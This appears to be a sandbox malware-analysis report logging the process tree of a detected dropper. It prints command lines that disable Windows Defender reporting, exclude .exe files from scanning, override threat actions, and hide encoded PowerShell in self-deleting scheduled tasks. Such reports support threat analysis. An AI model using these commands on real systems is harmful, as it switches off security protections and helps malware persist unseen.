MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: forfiles.exePID: 1128, Parent PID: 2772

General

Target ID:	5
Start time:	16:11:06
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&
Imagebase:	0x960000
File size:	41472 bytes
MD5 hash:	4329CB18F8F74CC8DDE2C858BB80E5D8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5968, Parent PID: 1128

General

Target ID:	6
Start time:	16:11:06
Start date:	31/12/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 2532, Parent PID: 3536

General

Target ID:	7
Start time:	16:11:06
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
Imagebase:	0xd90000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 4904, Parent PID: 2532

General

Target ID:	8
Start time:	16:11:07
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
Imagebase:	0xb10000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 5008, Parent PID: 1128

General

Target ID:	9
Start time:	16:11:07
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
Imagebase:	0xd90000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 4136, Parent PID: 2532

General

Target ID:	10
Start time:	16:11:07
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
Imagebase:	0xb10000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 6076, Parent PID: 5008

General

Target ID:	11
Start time:	16:11:07
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
Imagebase:	0xb10000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 5128, Parent PID: 5008

General

Target ID:	12
Start time:	16:11:07
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
Imagebase:	0xb10000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 6052, Parent PID: 2772

General

Target ID:	13
Start time:	16:11:11
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /CREATE /TN "goSRLihgj" /SC once /ST 00:45:25 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
Imagebase:	0x7ff7c72c0000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5096, Parent PID: 6052

General

Target ID:	14
Start time:	16:11:12
Start date:	31/12/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 2692, Parent PID: 2772

General

Target ID:	15
Start time:	16:11:12
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /run /I /tn "goSRLihgj"
Imagebase:	0xcd0000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 2108, Parent PID: 2692

General

Target ID:	16
Start time:	16:11:12
Start date:	31/12/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 4040, Parent PID: 1088

General

Target ID:	17
Start time:	16:11:13
Start date:	31/12/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
Imagebase:	0x7ff6369d0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5208, Parent PID: 4040

General

Target ID:	18
Start time:	16:11:13
Start date:	31/12/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 3216, Parent PID: 2772

General

Target ID:	19
Start time:	16:11:13
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /DELETE /F /TN "goSRLihgj"
Imagebase:	0xcd0000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 2160, Parent PID: 3216

General

Target ID:	20
Start time:	16:11:14
Start date:	31/12/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff61e220000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 3004, Parent PID: 2772

General

Target ID:	21
Start time:	16:11:17
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /CREATE /TN "bbrwVHWbINAVAbZleQ" /SC once /ST 16:12:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe\" UB /site_id 525403 /S" /V1 /F
Imagebase:	0xcd0000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6076, Parent PID: 3004

General

Target ID:	22
Start time:	16:11:17
Start date:	31/12/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: KZDOWch.exePID: 6068, Parent PID: 1088

General

Target ID:	23
Start time:	16:11:19
Start date:	31/12/2022
Path:	C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe UB /site_id 525403 /S
Imagebase:	0xdf0000
File size:	7164928 bytes
MD5 hash:	C58B38377096B7C07958599E0E0C361A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 65%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 1328, Parent PID: 6068

General

Target ID:	24
Start time:	16:11:21
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
Imagebase:	0x970000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 3112, Parent PID: 1328

General

Target ID:	25
Start time:	16:11:21
Start date:	31/12/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: gpupdate.exePID: 5444, Parent PID: 4040

General

Target ID:	26
Start time:	16:11:27
Start date:	31/12/2022
Path:	C:\Windows\System32\gpupdate.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\gpupdate.exe" /force
Imagebase:	0x7ff62ab60000
File size:	29184 bytes
MD5 hash:	47C68FE26B0188CDD80F744F7405FF26
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 1272, Parent PID: 5444

General

Target ID:	27
Start time:	16:11:28
Start date:	31/12/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: gpscript.exePID: 4924, Parent PID: 332

General

Target ID:	30
Start time:	16:11:29
Start date:	31/12/2022
Path:	C:\Windows\System32\gpscript.exe
Wow64 process (32bit):	false
Commandline:	gpscript.exe /RefreshSystemParam
Imagebase:	0x7ff612990000
File size:	44544 bytes
MD5 hash:	C48CBDC676E442BAF58920C5B7E556DE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 1252, Parent PID: 1328

General

Target ID:	31
Start time:	16:11:48
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
Imagebase:	0xd90000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 4852, Parent PID: 1252

General

Target ID:	32
Start time:	16:11:48
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
Imagebase:	0xb10000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 496, Parent PID: 1328

General

Target ID:	33
Start time:	16:11:49
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
Imagebase:	0xb10000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 5884, Parent PID: 1328

General

Target ID:	34
Start time:	16:11:50
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
Imagebase:	0xb10000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 2904, Parent PID: 1328

General

Target ID:	35
Start time:	16:11:51
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
Imagebase:	0xb10000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 2108, Parent PID: 1328

General

Target ID:	36
Start time:	16:11:51
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
Imagebase:	0xb10000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 4924, Parent PID: 1328

General

Target ID:	37
Start time:	16:11:52
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
Imagebase:	0xb10000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 4188, Parent PID: 1328

General

Target ID:	38
Start time:	16:11:52
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
Imagebase:	0xb10000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 4696, Parent PID: 1328

General

Target ID:	39
Start time:	16:11:52
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
Imagebase:	0xb10000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 3700, Parent PID: 1328

General

Target ID:	40
Start time:	16:11:53
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
Imagebase:	0xb10000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 5136, Parent PID: 1328

General

Target ID:	41
Start time:	16:11:53
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
Imagebase:	0xb10000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 6048, Parent PID: 1328

General

Target ID:	42
Start time:	16:11:54
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
Imagebase:	0xb10000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 5064, Parent PID: 1328

General

Target ID:	44
Start time:	16:11:54
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
Imagebase:	0xb10000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 2220, Parent PID: 1328

General

Target ID:	46
Start time:	16:11:55
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
Imagebase:	0xb10000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 4848, Parent PID: 1328

General

Target ID:	47
Start time:	16:11:55
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
Imagebase:	0xb10000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 3620, Parent PID: 1328

General

Target ID:	48
Start time:	16:11:55
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
Imagebase:	0xb10000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 572, Parent PID: 1328

General

Target ID:	49
Start time:	16:11:56
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
Imagebase:	0xb10000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 5060, Parent PID: 1328

General

Target ID:	50
Start time:	16:11:56
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
Imagebase:	0xb10000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

